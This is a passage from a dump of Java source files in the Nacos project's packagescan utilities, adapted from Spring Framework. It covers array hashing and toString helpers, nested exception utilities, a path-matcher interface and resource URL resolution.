* Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(char[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (char element : array) {\n            hash = MULTIPLIER * hash + element;\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(double[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (double element : array) {\n            hash = MULTIPLIER * hash + Double.hashCode(element);\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(float[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (float element : array) {\n            hash = MULTIPLIER * hash + Float.hashCode(element);\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(int[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (int element : array) {\n            hash = MULTIPLIER * hash + element;\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(long[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (long element : array) {\n            hash = MULTIPLIER * hash + Long.hashCode(element);\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(short[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (short element : array) {\n            hash = MULTIPLIER * hash + element;\n        }\n        return hash;\n    }\n\n    /**\n     * Return the same value as {@link Boolean#hashCode(boolean)}}.\n     *\n     * @deprecated as of Spring Framework 5.0, in favor of the native JDK 8 variant\n     */\n    @Deprecated\n    public static int hashCode(boolean bool) {\n        return Boolean.hashCode(bool);\n    }\n\n    /**\n     * Return the same value as {@link Double#hashCode(double)}}.\n     *\n     * @deprecated as of Spring Framework 5.0, in favor of the native JDK 8 variant\n     */\n    @Deprecated\n    public static int hashCode(double dbl) {\n        return Double.hashCode(dbl);\n    }\n\n    /**\n     * Return the same value as {@link Float#hashCode(float)}}.\n     *\n     * @deprecated as of Spring Framework 5.0, in favor of the native JDK 8 variant\n     */\n    @Deprecated\n    public static int hashCode(float flt) {\n        return Float.hashCode(flt);\n    }\n\n    /**\n     * Return the same value as {@link Long#hashCode(long)}}.\n     *\n     * @deprecated as of Spring Framework 5.0, in favor of the native JDK 8 variant\n     */\n    @Deprecated\n    public static int hashCode(long lng) {\n        return Long.hashCode(lng);\n    }\n\n    //---------------------------------------------------------------------\n    // Convenience methods for toString output\n    //---------------------------------------------------------------------\n\n    /**\n     * Return a String representation of an object's overall identity.\n     *\n     * @param obj the object (may be {@code null})\n     * @return the object's identity as String representation,\n     * or an empty String if the object was {@code null}\n     */\n    public static String identityToString(Object obj) {\n        if (obj == null) {\n            return EMPTY_STRING;\n        }\n        return obj.getClass().getName() + \"@\" + getIdentityHexString(obj);\n    }\n\n    /**\n     * Return a hex String form of an object's identity hash code.\n     *\n     * @param obj the object\n     * @return the object's identity code in hex notation\n     */\n    public static String getIdentityHexString(Object obj) {\n        return Integer.toHexString(System.identityHashCode(obj));\n    }\n\n    /**\n     * Return a content-based String representation if {@code obj} is\n     * not {@code null}; otherwise returns an empty String.\n     *\n     * <p>Differs from {@link #nullSafeToString(Object)} in that it returns\n     * an empty String rather than \"null\" for a {@code null} value.\n     *\n     * @param obj the object to build a display String for\n     * @return a display String representation of {@code obj}\n     * @see #nullSafeToString(Object)\n     */\n    public static String getDisplayString(Object obj) {\n        if (obj == null) {\n            return EMPTY_STRING;\n        }\n        return nullSafeToString(obj);\n    }\n\n    /**\n     * Determine the class name for the given object.\n     *\n     * <p>Returns a {@code \"null\"} String if {@code obj} is {@code null}.\n     *\n     * @param obj the object to introspect (may be {@code null})\n     * @return the corresponding class name\n     */\n    public static String nullSafeClassName(Object obj) {\n        return (obj != null ? obj.getClass().getName() : NULL_STRING);\n    }\n\n    /**\n     * Return a String representation of the specified Object.\n     *\n     * <p>Builds a String representation of the contents in case of an array.\n     * Returns a {@code \"null\"} String if {@code obj} is {@code null}.\n     *\n     * @param obj the object to build a String representation for\n     * @return a String representation of {@code obj}\n     */\n    public static String nullSafeToString(Object obj) {\n        if (obj == null) {\n            return NULL_STRING;\n        }\n        if (obj instanceof String) {\n            return (String) obj;\n        }\n        if (obj instanceof Object[]) {\n            return nullSafeToString((Object[]) obj);\n        }\n        if (obj instanceof boolean[]) {\n            return nullSafeToString((boolean[]) obj);\n        }\n        if (obj instanceof byte[]) {\n            return nullSafeToString((byte[]) obj);\n        }\n        if (obj instanceof char[]) {\n            return nullSafeToString((char[]) obj);\n        }\n        if (obj instanceof double[]) {\n            return nullSafeToString((double[]) obj);\n        }\n        if (obj instanceof float[]) {\n            return nullSafeToString((float[]) obj);\n        }\n        if (obj instanceof int[]) {\n            return nullSafeToString((int[]) obj);\n        }\n        if (obj instanceof long[]) {\n            return nullSafeToString((long[]) obj);\n        }\n        if (obj instanceof short[]) {\n            return nullSafeToString((short[]) obj);\n        }\n        String str = obj.toString();\n        return (str != null ? str : EMPTY_STRING);\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(Object[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (Object o : array) {\n            stringJoiner.add(String.valueOf(o));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(boolean[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (boolean b : array) {\n            stringJoiner.add(String.valueOf(b));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(byte[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (byte b : array) {\n            stringJoiner.add(String.valueOf(b));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(char[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (char c : array) {\n            stringJoiner.add('\\'' + String.valueOf(c) + '\\'');\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(double[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (double d : array) {\n            stringJoiner.add(String.valueOf(d));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(float[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (float f : array) {\n            stringJoiner.add(String.valueOf(f));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(int[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (int i : array) {\n            stringJoiner.add(String.valueOf(i));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(long[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (long l : array) {\n            stringJoiner.add(String.valueOf(l));\n        }\n        return stringJoiner.toString();\n    }\n\n    /**\n     * Return a String representation of the contents of the specified array.\n     *\n     * <p>The String representation consists of a list of the array's elements,\n     * enclosed in curly braces ({@code \"{}\"}). Adjacent elements are separated\n     * by the characters {@code \", \"} (a comma followed by a space).\n     * Returns a {@code \"null\"} String if {@code array} is {@code null}.\n     *\n     * @param array the array to build a String representation for\n     * @return a String representation of {@code array}\n     */\n    public static String nullSafeToString(short[] array) {\n        if (array == null) {\n            return NULL_STRING;\n        }\n        int length = array.length;\n        if (length == 0) {\n            return EMPTY_ARRAY;\n        }\n        StringJoiner stringJoiner = new StringJoiner(ARRAY_ELEMENT_SEPARATOR, ARRAY_START, ARRAY_END);\n        for (short s : array) {\n            stringJoiner.add(String.valueOf(s));\n        }\n        return stringJoiner.toString();\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/NestedExceptionUtils.java",
    "content": "/*\n * Copyright 2002-2017 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Helper class for implementing exception classes which are capable of\n * holding nested exceptions. Necessary because we can't share a base\n * class among different exception types.\n *\n * <p>Mainly for use within the framework.\n *\n * @author Juergen Hoeller\n * @see NestedIoException\n * @since 2.0\n */\npublic abstract class NestedExceptionUtils {\n\n    /**\n     * Build a message for the given base message and root cause.\n     *\n     * @param message the base message\n     * @param cause   the root cause\n     * @return the full exception message\n     */\n\n    public static String buildMessage(String message, Throwable cause) {\n        if (cause == null) {\n            return message;\n        }\n        StringBuilder sb = new StringBuilder(64);\n        if (message != null) {\n            sb.append(message).append(\"; \");\n        }\n        sb.append(\"nested exception is \").append(cause);\n        return sb.toString();\n    }\n\n    /**\n     * Retrieve the innermost cause of the given exception, if any.\n     *\n     * @param original the original exception to introspect\n     * @return the innermost exception, or {@code null} if none\n     * @since 4.3.9\n     */\n\n    public static Throwable getRootCause(Throwable original) {\n        if (original == null) {\n            return null;\n        }\n        Throwable rootCause = null;\n        Throwable cause = original.getCause();\n        while (cause != null && cause != rootCause) {\n            rootCause = cause;\n            cause = cause.getCause();\n        }\n        return rootCause;\n    }\n\n    /**\n     * Retrieve the most specific cause of the given exception, that is,\n     * either the innermost cause (root cause) or the exception itself.\n     *\n     * <p>Differs from {@link #getRootCause} in that it falls back\n     * to the original exception if there is no root cause.\n     *\n     * @param original the original exception to introspect\n     * @return the most specific cause (never {@code null})\n     * @since 4.3.9\n     */\n    public static Throwable getMostSpecificCause(Throwable original) {\n        Throwable rootCause = getRootCause(original);\n        return (rootCause != null ? rootCause : original);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/NestedIoException.java",
    "content": "/*\n * Copyright 2002-2017 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\nimport java.io.IOException;\n\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Subclass of {@link IOException} that properly handles a root cause,\n * exposing the root cause just like NestedChecked/RuntimeException does.\n *\n * <p>Proper root cause handling has not been added to standard IOException before\n * Java 6, which is why we need to do it ourselves for Java 5 compatibility purposes.\n *\n * <p>The similarity between this class and the NestedChecked/RuntimeException\n * class is unavoidable, as this class needs to derive from IOException.\n *\n * @author Juergen Hoeller\n * @see #getMessage\n * @since 2.0\n */\n@SuppressWarnings(\"serial\")\npublic class NestedIoException extends IOException {\n\n    static {\n        // Eagerly load the NestedExceptionUtils class to avoid classloader deadlock\n        // issues on OSGi when calling getMessage(). Reported by Don Brown; SPR-5607.\n        NestedExceptionUtils.class.getName();\n    }\n\n    /**\n     * Construct a {@code NestedIOException} with the specified detail message.\n     *\n     * @param msg the detail message\n     */\n    public NestedIoException(String msg) {\n        super(msg);\n    }\n\n    /**\n     * Construct a {@code NestedIOException} with the specified detail message\n     * and nested exception.\n     *\n     * @param msg   the detail message\n     * @param cause the nested exception\n     */\n    public NestedIoException(String msg, Throwable cause) {\n        super(msg, cause);\n    }\n\n    /**\n     * Return the detail message, including the message from the nested exception\n     * if there is one.\n     */\n    @Override\n    public String getMessage() {\n        return NestedExceptionUtils.buildMessage(super.getMessage(), getCause());\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/PathMatcher.java",
    "content": "/*\n * Copyright 2002-2019 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\nimport com.alibaba.nacos.common.packagescan.resource.AntPathMatcher;\nimport com.alibaba.nacos.common.packagescan.resource.PathMatchingResourcePatternResolver;\n\nimport java.util.Comparator;\nimport java.util.Map;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Strategy interface for {@code String}-based path matching.\n *\n * <p>Used by {@link PathMatchingResourcePatternResolver},\n *\n * <p>The default implementation is {@link AntPathMatcher}, supporting the\n * Ant-style pattern syntax.\n *\n * @author Juergen Hoeller\n * @see AntPathMatcher\n * @since 1.2\n */\npublic interface PathMatcher {\n\n    /**\n     * Does the given {@code path} represent a pattern that can be matched\n     * by an implementation of this interface?\n     *\n     * <p>If the return value is {@code false}, then the {@link #match}\n     * method does not have to be used because direct equality comparisons\n     * on the static path Strings will lead to the same result.\n     *\n     * @param path the path to check\n     * @return {@code true} if the given {@code path} represents a pattern\n     */\n    boolean isPattern(String path);\n\n    /**\n     * Match the given {@code path} against the given {@code pattern},\n     * according to this PathMatcher's matching strategy.\n     *\n     * @param pattern the pattern to match against\n     * @param path    the path to test\n     * @return {@code true} if the supplied {@code path} matched,\n     * {@code false} if it didn't\n     */\n    boolean match(String pattern, String path);\n\n    /**\n     * Match the given {@code path} against the corresponding part of the given\n     * {@code pattern}, according to this PathMatcher's matching strategy.\n     *\n     * <p>Determines whether the pattern at least matches as far as the given base\n     * path goes, assuming that a full path may then match as well.\n     *\n     * @param pattern the pattern to match against\n     * @param path    the path to test\n     * @return {@code true} if the supplied {@code path} matched,\n     * {@code false} if it didn't\n     */\n    boolean matchStart(String pattern, String path);\n\n    /**\n     * Given a pattern and a full path, determine the pattern-mapped part.\n     *\n     * <p>This method is supposed to find out which part of the path is matched\n     * dynamically through an actual pattern, that is, it strips off a statically\n     * defined leading path from the given full path, returning only the actually\n     * pattern-matched part of the path.\n     *\n     * <p>For example: For \"myroot/*.html\" as pattern and \"myroot/myfile.html\"\n     * as full path, this method should return \"myfile.html\". The detailed\n     * determination rules are specified to this PathMatcher's matching strategy.\n     *\n     * <p>A simple implementation may return the given full path as-is in case\n     * of an actual pattern, and the empty String in case of the pattern not\n     * containing any dynamic parts (i.e. the {@code pattern} parameter being\n     * a static path that wouldn't qualify as an actual {@link #isPattern pattern}).\n     * A sophisticated implementation will differentiate between the static parts\n     * and the dynamic parts of the given path pattern.\n     *\n     * @param pattern the path pattern\n     * @param path    the full path to introspect\n     * @return the pattern-mapped part of the given {@code path}\n     * (never {@code null})\n     */\n    String extractPathWithinPattern(String pattern, String path);\n\n    /**\n     * Given a pattern and a full path, extract the URI template variables. URI template\n     * variables are expressed through curly brackets ('{' and '}').\n     *\n     * <p>For example: For pattern \"/hotels/{hotel}\" and path \"/hotels/1\", this method will\n     * return a map containing \"hotel\" &rarr; \"1\".\n     *\n     * @param pattern the path pattern, possibly containing URI templates\n     * @param path    the full path to extract template variables from\n     * @return a map, containing variable names as keys; variables values as values\n     */\n    Map<String, String> extractUriTemplateVariables(String pattern, String path);\n\n    /**\n     * Given a full path, returns a {@link Comparator} suitable for sorting patterns\n     * in order of explicitness for that path.\n     *\n     * <p>The full algorithm used depends on the underlying implementation,\n     * but generally, the returned {@code Comparator} will\n     * {@linkplain java.util.List#sort(Comparator) sort}\n     * a list so that more specific patterns come before generic patterns.\n     *\n     * @param path the full path to use for comparison\n     * @return a comparator capable of sorting patterns in order of explicitness\n     */\n    Comparator<String> getPatternComparator(String path);\n\n    /**\n     * Combines two patterns into a new pattern that is returned.\n     *\n     * <p>The full algorithm used for combining the two pattern depends on the underlying implementation.\n     *\n     * @param pattern1 the first pattern\n     * @param pattern2 the second pattern\n     * @return the combination of the two patterns\n     * @throws IllegalArgumentException when the two patterns cannot be combined\n     */\n    String combine(String pattern1, String pattern2);\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/ResourceUtils.java",
    "content": "/*\n * Copyright 2002-2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\nimport com.alibaba.nacos.common.packagescan.resource.Resource;\nimport com.alibaba.nacos.common.utils.ClassUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.net.MalformedURLException;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.net.URLConnection;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Utility methods for resolving resource locations to files in the\n * file system. Mainly for internal use within the framework.\n *\n * <p>Consider using Spring's Resource abstraction in the core package\n * for handling all kinds of file resources in a uniform manner.\n * method can resolve any location to a {@link Resource}\n * object, which in turn allows one to obtain a {@code java.io.File} in the\n * file system through its {@code getFile()} method.\n *\n * @author Juergen Hoeller\n * @since 1.1.5\n */\npublic abstract class ResourceUtils {\n\n    /**\n     * Pseudo URL prefix for loading from the class path: \"classpath:\".\n     */\n    public static final String CLASSPATH_URL_PREFIX = \"classpath:\";\n\n    /**\n     * URL prefix for loading from the file system: \"file:\".\n     */\n    public static final String FILE_URL_PREFIX = \"file:\";\n\n    /**\n     * URL prefix for loading from a jar file: \"jar:\".\n     */\n    public static final String JAR_URL_PREFIX = \"jar:\";\n\n    /**\n     * URL prefix for loading from a war file on Tomcat: \"war:\".\n     */\n    public static final String WAR_URL_PREFIX = \"war:\";\n\n    /**\n     * URL protocol for a file in the file system: \"file\".\n     */\n    public static final String URL_PROTOCOL_FILE = \"file\";\n\n    /**\n     * URL protocol for an entry from a jar file: \"jar\".\n     */\n    public static final String URL_PROTOCOL_JAR = \"jar\";\n\n    /**\n     * URL protocol for an entry from a war file: \"war\".\n     */\n    public static final String URL_PROTOCOL_WAR = \"war\";\n\n    /**\n     * URL protocol for an entry from a zip file: \"zip\".\n     */\n    public static final String URL_PROTOCOL_ZIP = \"zip\";\n\n    /**\n     * URL protocol for an entry from a WebSphere jar file: \"wsjar\".\n     */\n    public static final String URL_PROTOCOL_WSJAR = \"wsjar\";\n\n    /**\n     * URL protocol for an entry from a JBoss jar file: \"vfszip\".\n     */\n    public static final String URL_PROTOCOL_VFSZIP = \"vfszip\";\n\n    /**\n     * URL protocol for a JBoss file system resource: \"vfsfile\".\n     */\n    public static final String URL_PROTOCOL_VFSFILE = \"vfsfile\";\n\n    /**\n     * URL protocol for a general JBoss VFS resource: \"vfs\".\n     */\n    public static final String URL_PROTOCOL_VFS = \"vfs\";\n\n    /**\n     * File extension for a regular jar file: \".jar\".\n     */\n    public static final String JAR_FILE_EXTENSION = \".jar\";\n\n    /**\n     * Separator between JAR URL and file path within the JAR: \"!/\".\n     */\n    public static final String JAR_URL_SEPARATOR = \"!/\";\n\n    /**\n     * Special separator between WAR URL and jar part on Tomcat.\n     */\n    public static final String WAR_URL_SEPARATOR = \"*/\";\n\n    /**\n     * Return whether the given resource location is a URL:\n     * either a special \"classpath\" pseudo URL or a standard URL.\n     *\n     * @param resourceLocation the location String to check\n     * @return whether the location qualifies as a URL\n     * @see #CLASSPATH_URL_PREFIX\n     * @see URL\n     */\n    public static boolean isUrl(String resourceLocation) {\n        if (resourceLocation == null) {\n            return false;\n        }\n        if (resourceLocation.startsWith(CLASSPATH_URL_PREFIX)) {\n            return true;\n        }\n        try {\n            new URL(resourceLocation);\n            return true;\n        } catch (MalformedURLException ex) {\n            return false;\n        }\n    }\n\n    /**\n     * Resolve the given resource location to a {@code java.io.File},\n     * i.e. to a file in the file system.\n     *\n     * <p>Does not check whether the file actually exists; simply returns\n     * the File that the given location would correspond to.\n     *\n     * @param resourceLocation the resource location to resolve: either a\n     *                         \"classpath:\" pseudo URL, a \"file:\" URL, or a plain file path\n     * @return a corresponding File object\n     * @throws FileNotFoundException if the resource cannot be resolved to\n     *                               a file in the file system\n     */\n    public static File getFile(String resourceLocation) throws FileNotFoundException {\n        AbstractAssert.notNull(resourceLocation, \"Resource location must not be null\");\n        if (resourceLocation.startsWith(CLASSPATH_URL_PREFIX)) {\n            String path = resourceLocation.substring(CLASSPATH_URL_PREFIX.length());\n            String description = \"class path resource [\" + path + \"]\";\n            ClassLoader cl = ClassUtils.getDefaultClassLoader();\n            URL url = (cl != null ? cl.getResource(path) : ClassLoader.getSystemResource(path));\n            if (url == null) {\n                throw new FileNotFoundException(description\n                        + \" cannot be resolved to absolute file path because it does not exist\");\n            }\n            return getFile(url, description);\n        }\n        try {\n            // try URL\n            return getFile(new URL(resourceLocation));\n        } catch (MalformedURLException ex) {\n            // no URL -> treat as file path\n            return new File(resourceLocation);\n        }\n    }\n\n    /**\n     * Resolve the given resource URL to a {@code java.io.File},\n     * i.e. to a file in the file system.\n     *\n     * @param resourceUrl the resource URL to resolve\n     * @return a corresponding File object\n     * @throws FileNotFoundException if the URL cannot be resolved to\n     *                               a file in the file system\n     */\n    public static File getFile(URL resourceUrl) throws FileNotFoundException {\n        return getFile(resourceUrl, \"URL\");\n    }\n\n    /**\n     * Resolve the given resource URL to a {@code java.io.File},\n     * i.e. to a file in the file system.\n     *\n     * @param resourceUrl the resource URL to resolve\n     * @param description a description of the original resource that\n     *                    the URL was created for (for example, a class path location)\n     * @return a corresponding File object\n     * @throws FileNotFoundException if the URL cannot be resolved to\n     *                               a file in the file system\n     */\n    public static File getFile(URL resourceUrl, String description) throws FileNotFoundException {\n        AbstractAssert.notNull(resourceUrl, \"Resource URL must not be null\");\n        if (!URL_PROTOCOL_FILE.equals(resourceUrl.getProtocol())) {\n            throw new FileNotFoundException(\n                    description + \" cannot be resolved to absolute file path \"\n                            + \"because it does not reside in the file system: \" + resourceUrl);\n        }\n        try {\n            return new File(toUri(resourceUrl).getSchemeSpecificPart());\n        } catch (URISyntaxException ex) {\n            // Fallback for URLs that are not valid URIs (should hardly ever happen).\n            return new File(resourceUrl.getFile());\n        }\n    }\n\n    /**\n     * Resolve the given resource URI to a {@code java.io.File},\n     * i.e. to a file in the file system.\n     *\n     * @param resourceUri the resource URI to resolve\n     * @return a corresponding File object\n     * @throws FileNotFoundException if the URL cannot be resolved to\n     *                               a file in the file system\n     * @since 2.5\n     */\n    public static File getFile(URI resourceUri) throws FileNotFoundException {\n        return getFile(resourceUri, \"URI\");\n    }\n\n    /**\n     * Resolve the given resource URI to a {@code java.io.File},\n     * i.e. to a file in the file system.\n     *\n     * @param resourceUri the resource URI to resolve\n     * @param description a description of the original resource that\n     *                    the URI was created for (for example, a class path location)\n     * @return a corresponding File object\n     * @throws FileNotFoundException if the URL cannot be resolved to\n     *                               a file in the file system\n     * @since 2.5\n     */\n    public static File getFile(URI resourceUri, String description) throws FileNotFoundException {\n        AbstractAssert.notNull(resourceUri, \"Resource URI must not be null\");\n        if (!URL_PROTOCOL_FILE.equals(resourceUri.getScheme())) {\n            throw new FileNotFoundException(\n                    description + \" cannot be resolved to absolute file path \"\n                            + \"because it does not reside in the file system: \" + resourceUri);\n        }\n        return new File(resourceUri.getSchemeSpecificPart());\n    }\n\n    /**\n     * Determine whether the given URL points to a resource in the file system,\n     * i.e. has protocol \"file\", \"vfsfile\" or \"vfs\".\n     *\n     * @param url the URL to check\n     * @return whether the URL has been identified as a file system URL\n     */\n    public static boolean isFileUrl(URL url) {\n        String protocol = url.getProtocol();\n        return (URL_PROTOCOL_FILE.equals(protocol)\n                || URL_PROTOCOL_VFSFILE.equals(protocol)\n                || URL_PROTOCOL_VFS.equals(protocol));\n    }\n\n    /**\n     * Determine whether the given URL points to a resource in a jar file.\n     * i.e. has protocol \"jar\", \"war, \"\"zip\", \"vfszip\" or \"wsjar\".\n     *\n     * @param url the URL to check\n     * @return whether the URL has been identified as a JAR URL\n     */\n    public static boolean isJarUrl(URL url) {\n        String protocol = url.getProtocol();\n        return (URL_PROTOCOL_JAR.equals(protocol) || URL_PROTOCOL_WAR.equals(protocol)\n                || URL_PROTOCOL_ZIP.equals(protocol) || 